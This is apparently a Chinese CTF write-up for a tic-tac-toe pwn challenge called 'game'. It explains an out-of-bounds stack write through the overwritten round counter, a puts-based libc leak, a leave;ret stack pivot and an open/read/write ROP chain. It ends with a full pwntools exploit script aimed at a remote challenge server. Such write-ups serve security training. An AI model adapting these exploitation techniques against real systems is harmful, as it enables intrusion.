game

漏洞点

控制玩家数量程序运行 if 内(下图红框)的游戏逻辑:

1
2
3
p.sendlineafter("you xi?",'y')
p.sendlineafter("tic-tac-toe?",'y')
p.sendlineafter("layers ?","zero")

漏洞在输入 i j 坐标的第 9 轮,j 会覆盖轮次计数变量 v3 。

image-20220620154708254

将 v3 改为负数可以实现向低地址的任意地址写。将 v3 覆盖为 -2 ,经过自加后下一轮写入位置是 __isoc99_scanf() 返回地址,即 s[-1] ,实现栈溢出。将 ROPchain 第一个 gadget 留在 s[-1] 再写入,剩余 ROPchain 顺序写入。

1
2
3
4
5
6
7
8
p.sendlineafter("Your move?","{} {}".format(puts_got,0))
……
……
……
……
p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0))

p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0)) #s[-1]

漏洞利用

puts 泄露 libc base addr 之后返回 main 函数或者 start_routime 函数都不能再次触发漏洞。

main 函数使用多线程调用 start_routime 函数,由于栈寄存器被破坏,pthread_create rdi 寄存区的值不符合条件,而导致无法运行 start_routime 函数。返回 start_routime 函数,会出现只能循环输入 4 次,无法再次触发漏洞溢出。

有设想过在第一次溢出的时候栈迁移,但由于溢出只能写入比 v3 低的内存空间,无法写 start_routime rbp rip。__isoc99_scanf rbp rip 都可以写入,但是我们需要的是先写入 ROPchain 利用链,然后再迁移,写 scanf rbp 和 rip 的话就是直接跳转,没有执行写入函数的位置。

查找一下有没有 pop rbp; ret gadget ,有的话也能实现栈迁移利用。用 ROPgadget –only “pop|ret” 是找不出来,出题人预留的 gadget 多加了一个 nop 。

image-20220620163528120

输入用 scanf(“%31s”) 写入,得到下面的 ROPchain :

1
2
3
4
5
6
7
8
9
10
11
12
13
p.sendlineafter("Your move?","{} {}".format(puts_got,0))
p.sendlineafter("Your move?","{} {}".format(puts_plt,0))
p.sendlineafter("Your move?","{} {}".format(pop_rsi_rdi_rbp_nop_ret,0))
p.sendlineafter("Your move?","{} {}".format(bss,0))

p.sendlineafter("Your move?","{} {}".format(str_format,0))
p.sendlineafter("Your move?","{} {}".format(bss-0x8,0))
p.sendlineafter("Your move?","{} {}".format(scanf_plt,0))
p.sendlineafter("Your move?","{} {}".format(leave_ret,0))

p.sendlineafter("Your move?","{} {}".format(1,0))
p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0))
p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0))

然后就会出现第二个坑点,用 scanf 往 bss 段写内容,高 8 位为空时会中断写入,导致后面 ROP 利用链没有写入到内存中。传参 gadget 可以用 libc 中的,但是 bss 地址得用程序的,也就无法避免。参考官方 exp 这部分构造,先写入一个 gets ,然后在布置 gadget、参数、函数:

1
2
3
4
payload = p64(gets_addr)#p64(libc_base+next(libc.search(asm('nop;ret'),executable=True)))
payload += p64(pop_rdi_ret)
payload += p64(bss+0x20)
payload += p64(gets_addr)[:-2]

尝试替换第一个无效 gets ,结果不成功。原因不详,不再纠结,能用就行。

然后直接 orw 读取 flag 即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level ='debug'
context.arch = 'amd64'

#p = process("./game")
p = remote("112.126.95.137",21446)
elf = ELF("./game")
libc = ELF("./libc.so.6")#ELF("/lib/x86_64-linux-gnu/libc.so.6")

bss = 0x404780
pop_rdi_ret = 0x401d23
pop_rsi_r15_ret = 0x401d21
pop_rsi_rdi_rbp_nop_ret = 0x401382
leave_ret = 0x0000000000401699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
scanf_plt = elf.plt['__isoc99_scanf']
str_format = 0x40213C
main_addr = 0x401C70

#gdb.attach(p,"b *0x401C86")
#raw_input()

p.sendlineafter("you xi?",'y')
p.sendlineafter("tic-tac-toe?",'y')
p.sendlineafter("layers ?","zero")

p.sendlineafter("Your move?","{} {}".format(puts_got,0))
p.sendlineafter("Your move?","{} {}".format(puts_plt,0))
p.sendlineafter("Your move?","{} {}".format(pop_rsi_rdi_rbp_nop_ret,0))
p.sendlineafter("Your move?","{} {}".format(bss,0))

p.sendlineafter("Your move?","{} {}".format(str_format,0))
p.sendlineafter("Your move?","{} {}".format(bss-0x8,0))
p.sendlineafter("Your move?","{} {}".format(scanf_plt,0))
p.sendlineafter("Your move?","{} {}".format(leave_ret,0))

#gdb.attach(p,"b *0x401958")
#raw_input()

p.sendlineafter("Your move?","{} {}".format(1,0))
p.sendlineafter("Your move?","{} {}".format(0xfffffffe,0))
p.sendlineafter("Your move?","{} {}".format(pop_rdi_ret,0))

p.recvline()
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print("puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print("libc_base:",hex(libc_base))
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
read_addr = libc_base + libc.sym['read']
gets_addr = libc_base + libc.sym['gets']

payload = p64(gets_addr)#p64(libc_base+next(libc.search(asm('nop;ret'),executable=True)))
payload += p64(pop_rdi_ret)
payload += p64(bss+0x20)
payload += p64(gets_addr)[:-2]
sleep(0.5)
p.sendline(payload)

payload = p64(pop_rdi_ret)
payload += p64(0x404848)
payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True)))
payload += p64(0)
payload += p64(open_addr)

payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True)))
payload += p64(bss)
payload += p64(libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True)))
payload += p64(0x40)*2
payload += p64(read_addr)

payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(libc_base+next(libc.search(asm('pop rsi;ret'),executable=True)))
payload += p64(bss)
payload += p64(libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True)))
payload += p64(0x40)*2
payload += p64(write_addr)

payload += "./flag\x00"

p.sendline(payload)

p.interactive()

image-20220620164611368